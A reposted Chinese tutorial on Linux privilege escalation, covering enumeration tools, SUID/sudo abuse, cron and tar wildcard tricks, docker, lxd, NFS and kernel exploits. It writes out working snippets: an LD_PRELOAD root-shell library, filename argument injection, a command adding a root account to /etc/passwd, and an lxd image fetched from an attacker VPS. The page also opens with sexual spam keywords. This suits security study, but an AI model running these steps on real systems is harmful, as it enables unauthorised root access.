小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

Linux提權知識點總結(jié)

 沖天香陣 2021-11-12

引言



在漏洞挖掘或者滲透過程中,難免遇到提權的需求。提權指在特定用戶權限下,對目標信息進行收集,在此基礎上,結(jié)合一定技術進行利用,從而達到權限提升的目的。本篇文章旨在對各種Linux提權中所用到的技術、工具進行測試總結(jié)。

信息收集



在提權過程中,首先需要對目標信息進行盡可能詳細地收集,為后續(xù)提權利用打下基礎。收集的信息一般包括:

圖片

上述信息收集皆可通過一些Linux基礎命令來幫助完成。如果采用逐個人工獲取的方式,不免顯得效率太低,可以將信息收集工作整合成自動化腳本來完成。下面對互聯(lián)網(wǎng)上部分開源提權信息收集工具進行列舉:

0x01 LinPEAS

LinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

該工具是純bash腳本,通用性很好,能夠收集上述幾乎所有的提權信息,足夠全面。但運行時間長,效率低,得到的信息雖然全面,但重點不夠突出,有較多無用信息,稍顯冗雜。具體使用方式為:

./linpeas.sh -a > ./log

0x02 LinuxSmartEnumeration

LinuxSmartEnumeration

https://github.com/diego-treitos/linux-smart-enumeration

該工具也是純bash腳本,通用性較好,與LinPEAS類似,但收集的信息不如LinPEAS全面,但會關注一些LinPEAS沒有關注到的信息,二者可結(jié)合使用,保證提權信息的全面性,防止遺漏。具體使用方式為:

./LinEnum.sh -r ./log -t

0x03 BeRoot

BeRoot

https://github.com/AlessandroZ/BeRoot

該工具是python腳本,通用性不好,且其不是獨立運行的python腳本,需要依賴其他python腳本,這使得需要下載較多的文件。但在提供可行的提權建議方面表現(xiàn)出色,所以在有python環(huán)境時,該工具很值得一試。使用方式為:

python beroot.py > ./log

0x04 linuxprivchecker.py

linuxprivchecker

https://github.com/sleventyeleven/linuxprivchecker

該工具是獨立運行的python腳本,收集的提權信息較為精簡,可結(jié)合使用。使用方式為:

python linuxprivchecker.py -w -o ./log

suid提權



對于常用的Linux程序,如find,如果其帶有suid標志,那么可以去GTFOBins網(wǎng)站查詢,地址如下:

GTFOBins

https://gtfobins.

查找該suid程序是否可以用來提權,以find為例,去該網(wǎng)站查找,它會提供針對該suid程序的提權方法:

圖片

利用此方法,就可以進行suid提權。在一些hackbox環(huán)境中,往往會出現(xiàn)一些自寫的suid程序,針對這類程序,需要對程序的功能進行分析,然后在程序正常執(zhí)行時,去利用環(huán)境變量等方法劫持程序,從而達到提升權限的目的。例如,當自寫suid程序中調(diào)用某些系統(tǒng)命令(如ls命令),且調(diào)用這些系統(tǒng)命令沒有使用絕對路徑進行調(diào)用,那么可以通過修改環(huán)境變量$PATH來劫持該系統(tǒng)命令進行提權。這里需要注意一點就是對于suid的可執(zhí)行腳本,而非二進制程序,無法通過劫持的方法進行提權。

sudo提權



sudo全稱Substitute User and Do,用來臨時賦予root權限運行某個程序。sudo的執(zhí)行原理為:普通用戶執(zhí)行sudo命令時,首先檢查`/var/run/sudo/`目錄下是否有用戶時間戳,centos檢查`/var/db/sudo/`目錄,并檢查是否過期。如果時間戳過期,就需要輸入當前用戶的密碼。輸入后檢查`/etc/sudoers`配置文件,查看用戶是否有sudo權限,如果有則執(zhí)行sudo命令并返回結(jié)果,然后退出sudo返回到普通用戶的shell環(huán)境。

從上面的原理可以看出,sudo提權的關鍵就在于sudo相關的配置文件`/etc/sudoers`,根據(jù)適用場景的不同,分為以下幾種情況:

0x01 sudo用戶提權

在當前用戶是允許執(zhí)行sudo操作的用戶,并且知道當前用戶的密碼時,可以直接使用sudo進行提權,最簡單的莫過于使用sudo su命令,然后輸入當前用戶的密碼即可完成提權。對于判斷當前用戶是否是sudo用戶,可以通過執(zhí)行sudo命令是否成功來進行驗證。

0x02 sudo程序提權

在當前用戶是允許執(zhí)行sudo操作的用戶,而不知道當前用戶的密碼時,此時可以查看`/etc/sudoers`文件(前提是該文件可讀),查看管理員是否配置了某些不需要密碼即可使用的命令。以find為例:

someuser ALL=(ALL:ALL) NOPASSWD:/bin/find

`/etc/sudoers`文件中若出現(xiàn)上述內(nèi)容,則可以使用sudo find進行提權。對于不需要密碼即可調(diào)用的sudo程序,同樣可以使用[GTFOBins](https://gtfobins.),該網(wǎng)站同樣會給出相應程序的sudo提權方法,以find為例:

圖片

還有一種情況,就是當這些不需要密碼即可使用sudo調(diào)用的程序無法通過一些方法進行直接的提權時,即在GTFOBins中無法找到該程序的sudo提權方法時,若`/etc/sudoers`文件中有如下配置:

Defaults        env_keep += LD_PRELOAD

即sudo支持`LD_PRELOAD`環(huán)境變量,那么就可以在用sudo執(zhí)行某些命令時,通過劫持共享鏈接庫的方法來達到提權的目的,具體做法為:

  • 將下面的`shell.c`文件編譯為共享鏈接庫文件(so文件)

#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv('LD_PRELOAD');setgid(0);setuid(0);system('/bin/sh');}
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
  • 使用`LD_PRELOAD`劫持sudo調(diào)用

sudo LD_PRELOAD=/tmp/shell.so somebin

0x03 sudo程序本身提權

sudo作為程序本身,其本身也存在漏洞,近些年來先后曝出sudo程序的漏洞,利用這些漏洞也可以達到提權的目的,但適用性不好,成功率不高,可以作為提權的一種備用思路,在此不做展開。

capabilities提權



capabilities機制是在Linux內(nèi)核2.2之后引入的,原理很簡單,就是將之前與超級用戶`root(UID=0)`關聯(lián)的特權細分為不同的功能組,capabilites作為線程(Linux并不真正區(qū)分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質(zhì)上就是將內(nèi)核調(diào)用分門別類,具有相似功能的內(nèi)核調(diào)用被分到同一組中。這樣一來,權限檢查的過程就變成了:在執(zhí)行特權操作時,如果線程的有效身份不是 root,就去檢查其是否具有該特權操作所對應的capabilities,并以此為依據(jù),決定是否可以執(zhí)行特權操作。

利用這種機制,在信息收集的過程中,可以收集到具有capabilities的程序,對于這些程序,同樣可以借助GTFOBins去查找該程序的capabilities提權方法,以gdb為例:

圖片

計劃任務提權



計劃任務是用戶可以安排在特定時間或間隔運行的程序或腳本,計劃任務執(zhí)行的權限是擁有它們的用戶的權限。根據(jù)應用場景的不同,分為以下幾種情況:

0x01 計劃任務可控提權

在信息收集過后,可以得到目標的計劃任務列表。分析查找高權限計劃任務的腳本是否可寫,若可寫,則可以直接修改進行提權。若不可寫,可以查看腳本對應的具體內(nèi)容,從內(nèi)容中再次查找分析是否有可寫或可控的腳本或程序,如此遞歸,可以全面的分析是否可以通過修改或劫持計劃任務的可控內(nèi)容進行提權。

0x02 計劃任務環(huán)境變量提權

默認情況下,crontab的路徑環(huán)境變量設置為:`/usr/bin:/bin`。但路徑變量可以覆蓋在crontab文件中。在信息收集過后,如果發(fā)現(xiàn)在某些crontab文件中設置了路徑環(huán)境變量,并且在該路徑環(huán)境變量中有可控的路徑,并且某些計劃任務沒有使用絕對路徑進行執(zhí)行時,如:

SHELL=/bin/shPATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
1 0 24 * * * bash shell.sh

對于上面的情況,當`/home/user`可控時,就可以在`/home/user`下新建一個名為`shell.sh`的文件,在該文件中寫入提權命令即可提權。

0x03 計劃任務通配符提權

在信息收集過后,若發(fā)現(xiàn)某些計劃任務中帶有一些通配符,并且?guī)в型ㄅ浞穆窂娇煽?,當該計劃任務的?zhí)行程序的某些參數(shù)可以執(zhí)行shell命令時,則該計劃任務可以用來提權。以tar為例:

SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
1 0 24 * * * tar cf /home/xxx.tgz /xxx/*

針對上述情況,可以使用下述方法進行提權:

cd /xxx/echo '' > '--checkpoint-action=exec=sh shell.sh'echo '' > '--checkpoint=1'echo '/bin/bash' > shell.sh

對于判斷計劃任務程序是否具有某些參數(shù)可以用來提權時,同樣可以借助GTFOBins來進行查詢,以tar為例:

圖片

0x04 系統(tǒng)計時器提權

由于該系統(tǒng)計時器功能與計劃任務類似,所以這里將它們歸為一類??梢酝ㄟ^以下命令查看系統(tǒng)的計時器:

systemctl list-timers --all

對于每個計時器,可以查看對應的.service文件來查看計時器對應的具體任務,如果出現(xiàn)可控內(nèi)容,可以在可控的計時器服務中插入提權操作來實現(xiàn)權限的提升。

可寫文件提權



在信息收集過后,可以得到當前用戶可寫文件列表。需要對可寫文件逐一排查,來判斷是否存在敏感文件(`/etc/passwd`,root進程調(diào)用文件等),若存在,則可以寫入提權內(nèi)容來達到權限提升的效果,該方法較為寬泛,不做具體展開。

第三方程序提權



在信息收集過后,可以得到一些常用的三方程序列表,包括但不限于apache,mysql,docker等。利用這些三方程序的歷史漏洞或危險操作,往往可以達到提權的目的。下面僅列舉一些有代表性的三方程序因配置不當所導致的提權:

0x01 docker提權

如果多用戶借助docker共用一臺機器,并且當前用戶具有docker組的權限,那么可以直接運行一個鏡像獲得鏡像里面的root權限,然后將鏡像外的/etc/passwd映射到鏡像內(nèi)后進行修改,以此來提權。比如:

docker run -it --rm -v $PWD:/mnt bashecho 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

上述操作就增加了一個root權限賬戶`toor:password`。

0x02 lxc/lxd提權


lxc是Linux自帶的容器,lxd是Linux系統(tǒng)中用于管理lxc容器的API,提供了很多便利的命令來完成創(chuàng)建容器、啟動等等操作。它將為本地lxd用戶組的任何用戶執(zhí)行任務,然而并沒有在用戶的權限與要執(zhí)行的功能之間是否匹配做過多的判斷,這也導致lxd可能會被用來權限提升。如果當前用戶具有l(wèi)xd組權限,則可以導入一個鏡像,掛載主系統(tǒng)下的磁盤內(nèi)容,從而提升權限。

git clone  https://github.com/saghul/lxd-alpine-buildercd lxd-alpine-builder./build-alpine# 此命令必須以root用戶執(zhí)行,之后會生成一個tar.gz的壓縮包。python3 -m http.server 80
# 目標系統(tǒng)中執(zhí)行wget http://Your-Vps-IP/alpine-v3.12-x86_64-20200908_2138.tar.gz -O /tmp/alpine-v3.12.tar.gzlxc image import ./alpine-v3.12.tar.gz --alias alpine-v3.12lxc init alpine-v3.12 ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh

0x03 NFS提權

在信息收集過后,若目標上開啟了NFS共享,則可以使用如下命令檢查NFS配置:

cat /etc/exports

如果有no_root_squash這個選項,那么root用戶就會對共享目錄擁有最高控制權,就像是對本機的目錄操作一樣。此時可以先用攻擊機的root用戶掛載目標機器上的NFS共享目錄,然后以root用戶身份復制攻擊機上面的shell到共享目錄中,給予suid權限,然后切換到目標機,執(zhí)行該程序即可。具體操作步驟為:

//執(zhí)行mkdir /tmp/nfsmount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfscp `which sh` /tmp/nfschmod +s /tmp/nfs/sh
//目標機執(zhí)行./sh -p

RPATH提權



若一個程序是由高權限用戶運行,比如在計劃任務中看到某程序由root用戶運行,則可以對此程序是否可以使用RPATH提權進行分析。若該程序使用了共享庫(可以通過ldd命令查看程序使用了哪些共享庫)并且該程序使用了RPATH,可以使用如下命令來查詢程序的RPATH值:

objdump -x somebin | grep RPATH

若RPATH對應路徑可寫可執(zhí)行,則可以在該路徑下偽造該程序使用的共享庫文件,由此當該程序運行時,會優(yōu)先加載RPATH下偽造的共享庫文件,由此可以劫持,從而提升權限。

UID提權



某些Linux版本受到一個錯誤的影響,該錯誤使`UID>INT_MAX`的用戶可以提升權限,一般使用如下命令進行提權:

systemd-run -t /bin/bash

敏感信息提權



該提權方法較為寬泛,可能無法一步就達到想要的效果,但可以利用得到的敏感信息達到逐步擴展權限的目的。下面對幾種可能的應用場景進行舉例說明:

0x01 關鍵字信息提權

在信息收集的過程中,會對一些常用關鍵字(如password、backup、config等)進行大小寫不敏感的包括文件名和文件內(nèi)容的全盤模糊搜索,利用這些可能找到的敏感信息進行進一步提權。如果找到一些密碼,可以用這些密碼嘗試高權限用戶登錄,往往能達到意想不到的效果。

0x02 ssh秘鑰文件提權

在信息收集的過程中,當獲取到ssh相關的秘鑰文件時,也可能達到權限提升的效果。`id_rsa.pub`文件可以得到相關用戶的公鑰以及用戶名,而`id_rsa`文件記錄用戶的私鑰,當獲取私鑰后,可進行暴力破解,得到相應用戶的登錄密碼,而且如果私鑰沒有加密的話,攻擊者可以直接使用私鑰連接服務器,達到權限提升的目的。

0x03 bash history提權

在信息收集的過程中,若某些.bash_history文件可讀,那么就可以看到相應用戶的操作命令記錄,分析這些信息,有時也可達到權限提升的目的。

0x04 TMUX提權

在信息收集的過程中,如果發(fā)現(xiàn)當前用戶對tmux socket有讀權限,則可以劫持該tmux session來提升權限。例如,對`/tmp/tmux-1000/default`這個`tmux socket`具有讀權限,則通過下面的命令可以劫持該tmux會話,并能以該會話的權限執(zhí)行命令:

export TMUX=/tmp/tmux-1000/default,1234,0tmux ls

操作系統(tǒng)/內(nèi)核漏洞提權



在信息收集后,可以得到操作系統(tǒng)及內(nèi)核的版本等詳細信息,利用這些信息,可以利用在該版本上適用的相關漏洞嘗試提權。在使用該種方法提權時,可以使用一些漏洞的驗證腳本先驗證漏洞的存在性,然后再根據(jù)存在性進行利用,以免出現(xiàn)一些無法控制的操作。

可以使用linux-exploit-suggester或linux-exploit-suggester-2兩款工具來輔助內(nèi)核提權。

linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

linux-exploit-suggester-2

https://github.com/jondonas/linux-exploit-suggester-2

總結(jié)



本文僅對當前存在的提權方法和技巧進行總結(jié),方便查閱。

  • 對于suid和sudo程序要盡可能的充分利用

  • 對于可寫文件要盡可能的充分利用

  • 盡量不要使用內(nèi)核漏洞進行提權

參考



https:///2020/04/14/Linux%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F/

https://github.com/swisskyrepo/PayloadsAllTheThings

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/sleventyeleven/linuxprivchecker

https://github.com/rebootuser/LinEnum

https://github.com/AlessandroZ/BeRoot

https://gtfobins./

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。


    本站是提供個人知識管理的網(wǎng)絡存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多